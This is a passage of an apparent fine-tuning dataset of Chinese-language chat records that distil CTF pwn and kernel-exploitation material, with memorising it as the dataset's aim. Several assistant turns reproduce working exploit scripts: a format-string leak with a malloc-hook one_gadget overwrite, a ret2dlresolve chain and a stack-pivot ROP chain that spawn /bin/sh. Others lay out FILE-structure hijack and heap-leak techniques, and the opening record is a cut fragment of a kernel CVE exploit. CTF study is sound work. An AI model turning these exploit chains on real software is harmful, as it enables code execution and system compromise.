fprintf(stderr, \"[-] %s failed: errno=%d (%s)\\n\", what, errno, strerror(errno));\n    exit(1);\n}\n\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n    mprotect(win.scratch, win.scratch_len, PROT_READ);\n    mprotect(win.scratch, win.scratch_len, PROT_READ | PROT_WRITE);\n     * 320-byte SRH uses kmalloc-512 and the first trigger head uses\n     * kmalloc-1k, so the second splice reuses a groomed target head.\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-d2a1bc2813d1bb42", "original_line": 296, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit.c", "split": "train", "split_group_key": "ed33325d7fbe08977489ef8b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a521ab8c62cb0b6941e6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「House of Cat」。\n资料来源：IO-FILE/house of cat/readme.md；主题：house of cat；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### House of Cat\n\nGlibc 2.35+\n\n利用`_IO_wfile_seekoff`函数控制程序执行流（House of Cat）\n\n对 `fp` 的设置如下：\n\n+ `_flags` 设置为 `~0x8`，如果不能保证 `_lock` 指向可读写内存则 `_flags |= 0x8000`。\n+ `vtable`设置为`_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap`地址（加减偏移），使其能成功调用`_IO_wfile_seekoff`即可\n+ `_wide_data`设置为可控堆地址`A`，即满足`*(fp + 0xa0) = A`\n+ `_wide_data->_IO_write_ptr > _wide_data->_IO_write_base` ，即满足`*A > *(A + 8)`\n+ `_wide_data->_wide_vtable`设置为可控堆地址`B`，即满足`*(A + 0xe0) = B`\n+ `_wide_data->_wide_vtable->overflow`设置为地址`C`用于劫持`RIP`，即满足`*(B + 0x18) = C`\n\n函数的调用链如下：\n\n```plain\n_IO_wfile_seekoff\n    _IO_switch_to_wget_mode\n        _IO_WOVERFLOW\n            *(fp->_wide_data->_wide_vtable + 0x18)(fp)\n```\n\n详细分析如下：\n\n首先看 `_IO_wfile_seekoff` 函数：\n\n```c\n_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)\n{\n  ...\n  bool was_writing = ((fp->_wide_data->_IO_write_ptr\n               > fp->_wide_data->_IO_write_base)\n              || _IO_in_put_mode (fp));\n  if (was_writing && _IO_switch_to_wget_mode (fp))\n    return WEOF;\n  ...\n}\n```\n\n为了调用 `_IO_switch_to_wget_mode` 函数，需要满足 `fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base` 或 `(fp)->_flags & 0x0800 != 0` 。\n\n接着看 `_IO_switch_to_wget_mode`：\n\n```c\n_IO_switch_to_wget_mode (FILE *fp)\n{\n  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)\n    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)\n      return EOF;\n   ...\n}\n```\n\n当满足`fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base`时就会调用`_IO_WOVERFLOW(fp)`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b8778a0329626fb5", "original_line": 220, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/readme.md", "split": "train", "split_group_key": "d86cbb69977fa7c04169fb42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a5263de6e826a973c5cd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「内核堆泄漏」。\n资料来源：Kernel/QWB2018-core/tty_struct.md；主题：tty_struct；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 内核堆泄漏\n\n假设你有以下条件：\n\n- 拥有`kmalloc-32`的UAF\n- 拥有`kmalloc-1024`的UAF\n- 拥有`kmalloc-1024`的写原语（完整写或部分写）\n\n如果你有`kmalloc-32`的UAF，可以通过`tty_file_private`泄漏`kmalloc-1024`的内核堆地址。这是因为`tty_file_private`内部包含了在`kmalloc-1024`中分配的`tty_struct`的地址。\n\n如果你有`kmalloc-1024`的UAF，可以通过`tty_struct.ops`泄漏内核基址。因为`tty_struct.ops`包含了`ptmx_fops`的地址。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-f6832a2ff05fcf1f", "original_line": 404, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "split_group_key": "ec3687b0dbb8efc5246abbb7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a5f009c6c362cd631694", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/QWB2021-notebook/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/QWB2021-notebook/start.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\n#!/bin/sh\nqemu-system-x86_64 -m 64M \\\n        -kernel bzImage \\\n        -initrd exp.cpio \\\n        -append \"loglevel=0 console=ttyS0 oops=panic panic=1 kaslr\" \\\n        -nographic \\\n        -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap \\\n        -monitor /dev/null 2>/dev/null -s \\\n        -no-reboot\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-5e6ed779c89b10bb", "original_line": 325, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2021-notebook/start.sh", "split": "train", "split_group_key": "ae50eb79b7644948321732dc"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2021-notebook/start.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a67b1cd88cacd358831b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/chunk Extend and Overlapping/hitcontraning_lab13/heapcreator.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/chunk Extend and Overlapping/hitcontraning_lab13/heapcreator.c`\n\n分类：heap\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `create_heap`\n- `delete_heap`\n- `edit_heap`\n- `main`\n- `menu`\n- `read_input`\n- `show_heap`\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n\nvoid read_input(char *buf,size_t size){\n\tint ret ;\n    ret = read(0,buf,size);\n    if(ret <=0){\n        puts(\"Error\");\n        _exit(-1);\n    }\n}\n\nstruct heap {\n\tsize_t size ;\n\tchar *content ;\n};\n\nstruct heap *heaparray[10];\n\nvoid menu(){\n\tputs(\"--------------------------------\");\n\tputs(\"          Heap Creator          \");\n\tputs(\"--------------------------------\");\n\tputs(\" 1. Create a Heap               \");\n\tputs(\" 2. Edit a Heap                 \");\n\tputs(\" 3. Show a Heap                 \");\n\tputs(\" 4. Delete a Heap               \");\n\tputs(\" 5. Exit                        \");\n\tputs(\"--------------------------------\");\n\tprintf(\"Your choice :\");\n}\n\nvoid create_heap(){\n\tint i ;\n\tchar buf[8];\n\tsize_t size = 0;\n\tfor(i = 0 ; i < 10 ; i++){\n\t\tif(!heaparray[i]){\n\t\t\theaparray[i] = (struct heap *)malloc(sizeof(struct heap));\n\t\t\tif(!heaparray[i]){\n\t\t\t\tputs(\"Allocate Error\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tprintf(\"Size of Heap : \");\n\t\t\tread(0,buf,8);\n\t\t\tsize = atoi(buf);\n\t\t\theaparray[i]->content = (char *)malloc(size);\n\t\t\tif(!heaparray[i]->content){\n\t\t\t\tputs(\"Allocate Error\");\n\t\t\t\texit(2);\n\t\t\t}\n\t\t\theaparray[i]->size = size ;\n\t\t\tprintf(\"Content of heap:\");\n\t\t\tread_input(heaparray[i]->content,size);\n\t\t\tputs(\"SuccessFul\");\n\t\t\tbreak ;\n\t\t}\n\t}\n}\n\nvoid edit_heap(){\n\tint idx ;\n\tchar buf[4];\n\tprintf(\"Index :\");\n\tread(0,buf,4);\n\tidx = atoi(buf);\n\tif(idx < 0 || idx >= 10){\n\t\tputs(\"Out of bound!\");\n\t\t_exit(0);\n\t}\n\tif(heaparray[idx]){\n\t\tprintf(\"Content of heap : \");\n\t\tread_input(heaparray[idx]->content,heaparray[idx]->size+1);\n\t\tputs(\"Done !\");\n\t}else{\n\t\tputs(\"No such heap !\");\n\t}\n}\n\nvoid show_heap(){\n\tint idx ;\n\tchar buf[4];\n\tprintf(\"Index :\");\n\tread(0,buf,4);\n\tidx = atoi(buf);\n\tif(idx < 0 || idx >= 10){\n\t\tputs(\"Out of bound!\");\n\t\t_exit(0);\n\t}\n\tif(heaparray[idx]){\n\t\tprintf(\"Size : %ld\\nContent : %s\\n\",heaparray[idx]->size,heaparray[idx]->content);\n\t\tputs(\"Done !\");\n\t}else{\n\t\tputs(\"No such heap !\");\n\t}\n\n}\n\nvoid delete_heap(){\n\tint idx ;\n\tchar buf[4];\n\tprintf(\"Index :\");\n\tread(0,buf,4);\n\tidx = atoi(buf);\n\tif(idx < 0 || idx >= 10){\n\t\tputs(\"Out of bound!\");\n\t\t_exit(0);\n\t}\n\tif(heaparray[idx]){\n\t\tfree(heaparray[idx]->content);\n\t\tfree(heaparray[idx]);\n\t\theaparray[idx] = NULL ;\n\t\tputs(\"Done !\");\n\t}else{\n\t\tputs(\"No such heap !\");\n\t}\n\n}\n\n\nint main(){\n\tchar buf[4];\n\tsetvbuf(stdout,0,2,0);\n\tsetvbuf(stdin,0,2,0);\n\twhile(1){\n\t\tmenu();\n\t\tread(0,buf,4);\n\t\tswitch(atoi(buf)){\n\t\t\tcase 1 :\n\t\t\t\tcreate_heap();\n\t\t\t\tbreak ;\n\t\t\tcase 2 :\n\t\t\t\tedit_heap();\n\t\t\t\tbreak ;\n\t\t\tcase 3 :\n\t\t\t\tshow_heap();\n\t\t\t\tbreak ;\n\t\t\tcase 4 :\n\t\t\t\tdelete_heap();\n\t\t\t\tbreak ;\n\t\t\tcase 5 :\n\t\t\t\texit(0);\n\t\t\t\tbreak ;\n\t\t\tdefault :\n\t\t\t\tputs(\"Invalid Choice\");\n\t\t\t\tbreak;\n\t\t}\n\n\t}\n\treturn 0 ;\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-c9e62929a0db6390", "original_line": 6, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/chunk Extend and Overlapping/hitcontraning_lab13/heapcreator.c", "split": "train", "split_group_key": "7995e5d408eca30b3cd4841c"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/chunk Extend and Overlapping/hitcontraning_lab13/heapcreator.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a69f30711a8abd88caff", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. add 有索引检查」。\n资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 1. add 有索引检查\n\n`add` 会检查索引和大小：\n\n```c\nscanf(\"%d\", &idx);\nif (idx < 0 || idx > 0x14) exit(0);\n\nscanf(\"%lu\", &size);\nif (size > 0x400) exit(0);\n\nbook[idx].ptr = malloc(size);\nbook[idx].size = size;\nread(0, book[idx].ptr, size);\n```\n\n所以正常申请只能操作 `0 ~ 0x14` 号 chunk，最大申请 `0x400`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-6e71c4f2a53861c8", "original_line": 195, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "split_group_key": "fe49aac94cc72bab9c75b731"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a75d7d06f1ae9c544112", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/scanf/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/scanf/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n- `from LibcSearcher import *`\n\n函数/封装：\n- `add`\n- `debug`\n- `edit`\n- `get_addr`\n- `inter`\n- `pr`\n- `r`\n- `rl`\n- `s`\n- `sa`\n- `show`\n- `sl`\n- `sla`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x4527a`, `0x3c36e0`, `0xfbad1887`\n\n训练用代码片段：\n```python\nfrom pwn import *\nfrom LibcSearcher import *\n\ndef s(a):\n    p.send(a)\ndef sa(a, b):\n    p.sendafter(a, b)\ndef sl(a):\n    p.sendline(a)\ndef sla(a, b):\n    p.sendlineafter(a, b)\ndef r():\n    p.recv()\ndef pr():\n    print(p.recv())\ndef rl(a):\n    p.recvuntil(a)\ndef inter():\n    p.interactive()\ndef debug():\n    gdb.attach(p)\n    pause()\ndef get_addr():\n    return u64(p.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\n\ncontext(os='linux', arch='amd64', log_level='debug')\np = process('./note')\n#p = remote('TARGET_IP', 28932)\nelf = ELF('./note')\nlibc = ELF('/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')\n\ndef add(size, content):\n    sla(b'choice: ', b'1')\n    sla(b'size: ', str(size))\n    sa(b'content: ', content)\n    rl(b'0x')\n    return int(p.recv(12), 16)\ndef edit(content1, content2):\n    sla(b'choice: ', b'2')\n    sa(b'say ? ', content1)\n    sla(b'? ',content2)\ndef show():\n    sla(b'choice: ', b'3')\n\n# leak libc_base\nheap_base = add(0x60, b'a') - 0x10\nedit(b'%7$s\\x00\\x00\\x00\\x00', p64(0xfbad1887) + p64(0)*3)\nlibc_base = get_addr() - 0x3c36e0\n\n# malloc_hook -> one_gadget\none_gadget = libc_base + 0x4527a\nmalloc_hook = libc_base + libc.sym['__malloc_hook']\nrealloc = libc_base + libc.sym['realloc']\nedit(b'%7$s\\x00\\x00\\x00\\x00' + p64(malloc_hook - 0x8), p64(one_gadget) + p64(realloc + 12))\n\n# pwn\nsla(b'choice: ', b'1')\nsla(b'size: ', str(0x10))\n\nprint(' libc_base -> ', hex(libc_base))\nprint(' heap_base -> ', hex(heap_base))\ninter()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-a105fbbfb69be086", "original_line": 461, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/scanf/exp.py", "split": "train", "split_group_key": "0558014f41ccae4e9bafcc88"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/scanf/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a7b814f49ac72a79c6bb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/32位/stage6_original.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/32位/stage6_original.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x800`, `0x080481d8`, `0x08048278`, `0x08048330`, `0x08048380`, `0x08048458`, `0x08048619`, `0x0804861b`, `0x0804a040`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\n\nfrom pwn import *\nelf = ELF('bof')\n\noffset = 112\nread_plt = elf.plt['read']\nwrite_plt = elf.plt['write']\n\nppp_ret = 0x08048619 # ROPgadget --binary bof --only \"pop|ret\"\npop_ebp_ret = 0x0804861b\nleave_ret = 0x08048458 # ROPgadget --binary bof --only \"leave|ret\"\n\nstack_size = 0x800\nbss_addr = 0x0804a040 # readelf -S bof | grep \".bss\"\nbase_stage = bss_addr + stack_size\n\nr = process('bof')\n\nr.recvuntil('Welcome to XDCTF2015~!\\n')\npayload = 'A' * offset\npayload += p32(read_plt)\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(base_stage)\npayload += p32(100)\npayload += p32(pop_ebp_ret)\npayload += p32(base_stage)\npayload += p32(leave_ret)\nr.sendline(payload)\n\ncmd = \"/bin/sh\"\nplt_0 = 0x08048380 # objdump -d -j .plt bof\nrel_plt = 0x08048330 # objdump -s -j .rel.plt bof\nindex_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移\nwrite_got = elf.got['write']\ndynsym = 0x080481d8\ndynstr = 0x08048278\nfake_sym_addr = base_stage + 36\nalign = 0x10 - ((fake_sym_addr - dynsym) & 0xf)\nfake_sym_addr = fake_sym_addr + align\nindex_dynsym = (fake_sym_addr - dynsym) / 0x10\nr_info = (index_dynsym << 8) | 0x7\nfake_reloc = p32(write_got) + p32(r_info)\nst_name = (fake_sym_addr + 16) - dynstr\nfake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)\n\npayload2 = 'AAAA'\npayload2 += p32(plt_0)\npayload2 += p32(index_offset)\npayload2 += 'AAAA'\npayload2 += p32(base_stage + 80)\npayload2 += 'aaaa'\npayload2 += 'aaaa'\npayload2 += fake_reloc # (base_stage+28)的位置\npayload2 += 'B' * align\npayload2 += fake_sym # (base_stage+36)的位置\npayload2 += \"system\\x00\"\npayload2 += 'A' * (80 - len(payload2))\npayload2 += cmd + '\\x00'\npayload2 += 'A' * (100 - len(payload2))\nr.sendline(payload2)\nr.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-b143180a84095b18", "original_line": 52, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6_original.py", "split": "train", "split_group_key": "193f6b88d6c23f3724aee6f8"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6_original.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a7f989e04f715abcb431", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/花式栈/2024ylb-magicread/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/花式栈/2024ylb-magicread/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x500`, `0x40063a`, `0x400675`, `0x400693`, `0x00000000004004c6`, `0x0000000000400723`\n\n训练用代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\nlibc=ELF(\"./libc-2.23.so\")\ncontext.arch=elf.arch\n\nrdi=0x0000000000400723\nret=0x00000000004004c6\nleave=0x400675\nbss=elf.bss()+0x500\nvuln=0x40063a\n\nr()\npay1=b'a'*64+p64(bss+0x40)+p64(leave)\ns(pay1)\npay1=b'a'*64+p64(bss+0x40+64)+p64(leave)\ns(pay1)\n\npay2=p64(bss+0x50)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x400693)\ns(pay2)\n\nleak=u64(r(6)+b'\\x00'*2)\nbase=leak-libc.sym['puts']\nprint(hex(base))\nsys=base+libc.sym['system']\nsh=base+libc.search(\"/bin/sh\\x00\").__next__()\nprint(\"sh\",hex(sh))\nru(b\"just read!\\n\")\npay3=b'a'*64+p64(bss+0x90)+p64(leave)\ns(pay3)\npay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\ns(pay4)\n\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-ee853399a439dbe6", "original_line": 575, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2024ylb-magicread/exp_cli.py", "split": "train", "split_group_key": "193e3e414bb4a4663a0c13c0"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2024ylb-magicread/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a805ee7e775066320660", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3. 切割 unsorted bin，泄露 libc」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3. 切割 unsorted bin，泄露 libc\n\n从合并得到的大 chunk 中切两块 `0x70`：\n\n```python\nadd(0, 0x70)\nadd(2, 0x70)\n```\n\n此时剩余 unsorted chunk 的 `fd/bk` 指针会落在原来 index 1 指向的区域附近，因此 `show(1)` 能打印 unsorted bin 指针：\n\n```python\nshow(1)\np.recvuntil(b\"Content: \")\nlibcbase = u64(p.recvuntil(\"\\x7f\")[-6:].ljust(8, b\"\\x00\")) - 0x3ebca0\n```\n\n`0x3ebca0` 是 glibc 2.27 下该 unsorted bin 泄露指针相对 libc base 的偏移。得到 libc base 后计算：\n\n```python\nfree_hook = libcbase + libc.sym[\"__free_hook\"]  # 0x3ed8e8\nsystem    = libcbase + libc.sym[\"system\"]       # 0x4f420\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-fd39264c49a26144", "original_line": 9, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a8cf28de23cd54a0a243", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Summary」。\n资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Summary\n\n题目是 glibc 2.31 下的堆题。程序提供 `add / delete / edit / show` 四个功能，核心利用点是：`add` 的下标只递增不复用，`read` 可以短读，从而在重新申请 unsorted chunk 后泄露残留的 libc 指针；同时 `edit` 提供一次 4 字节任意地址写，可以篡改 `mp_.tcache_bins`，把 0x510 大小纳入 tcache，并借助 tcache_perthread_struct 越界索引劫持 `__free_hook` 为 `system`。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a42701248d2cfe47", "original_line": 51, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "split_group_key": "e6e49a34b13c4025336aabf4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a8d5d5e4584afde20008", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「malloc to environ, leak stack」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# malloc to environ, leak stack\nadd(1,0x10)\nadd(1,0x10)\nshow()\nru(\"the data\")\nr(1)\nstack = 0\nfor i in range(6):\n    val = u8(r(1))\n    stack += (val ^ (0x99+i)) * 0x100**i\nstack = stack - 0x80 - 8 - 0xa0", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-de0ae806b4d81271", "original_line": 145, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
